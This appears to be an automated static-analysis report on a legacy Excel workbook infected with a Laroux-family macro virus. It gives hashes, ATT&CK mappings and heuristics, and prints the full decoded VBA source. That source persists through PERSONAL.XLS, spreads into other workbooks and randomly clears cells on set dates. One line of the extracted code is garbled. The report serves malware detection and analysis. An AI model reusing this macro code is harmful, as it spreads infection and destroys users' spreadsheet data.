Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52a5e74f310c6518…

MALICIOUS

Office (OLE)

34.5 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-10-10
MD5: dfe52d044ff490bb88acf41deb90ecd7 SHA-1: 3609b4b690aa0c7beedc9df10f75c747fb85e5a0 SHA-256: 52a5e74f310c651885c431382d002cfd9610608fe467e86b7d9c870a9d1ce5c3
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel 5 macro-virus, identified by the 'laroux' marker and the presence of an Auto_Open macro. The Auto_Open macro is designed to copy itself to PERSONAL.XLS, a file that Excel automatically loads, thereby establishing persistence. The script also attempts to manipulate sheet visibility and workbook properties.

Heuristics 3

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3458 bytes
SHA-256: 8b69bd632085e527599d5700f9efff78ab06e3fd82862af40cc8c33bd71ac221
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"



Dim DD
Dim XX
Sub Auto_open()
Attribute Auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
    Application.OnCalculate = "Calculate"
    Application.OnDoubleClick = "DoubleClick"
    Application.OnTime TimeValue("16:50:00"), "DEL1"
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
Select Case whichfile
    Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("laroux").Visible = True
        Sheets("laroux").Select
        Sheets("laroux").Copy
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
            , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("laroux").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        s$ = Workbooks(n4$).Sheets(1).Name
        If s$ <> "laroux" Then Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
            
          Workbooks(n4$).She Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub
Sub DoubleClick()
Attribute DoubleClick.VB_ProcData.VB_Invoke_Func = " \n14"
DD = DD + 1
If DD Mod 99 = 0 Then
DEL1
End If
End Sub
Sub Calculate()
Attribute Calculate.VB_ProcData.VB_Invoke_Func = " \n14"
DD = DD + 1
If DD Mod 99 = 0 Then
DEL1
End If
End Sub
Sub DEL1()
Attribute DEL1.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
On Error Resume Next
    DA1$ = "20/9/1997"
    If Date > DA1$ Then
        If (Day(Date) Mod 3 = 0) Or (Day(Date) Mod 4 = 0) _
            Or (Day(Date) Mod 7 = 0) Then
            FF = Worksheets.Count
            XX = XX + 1
            If XX > FF Then
                XX = 0
            End If
            Worksheets(XX).Select
            For O = 1 To 10
                RO1 = Int(800 * Rnd()) + 10
                CO1 = Int(20 * Rnd()) + 65
                SS$ = Chr$(CO1) + Mid$(Str$(RO1), Len(Str$(RO1)) - 1)
                Range(SS$).Select
                Selection.ClearContents
                Range("A1").Select
            Next
            AAAA$ = ActiveWorkbook.Path
            If Mid$(AAAA$, 1, 1) = "C" Or Mid$(AAAA$, 1, 1) = "C" Then
                ActiveWorkbook.Save
            Else
            End If
        Else
        End If
    Else
    End If
Application.ScreenUpdating = True
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.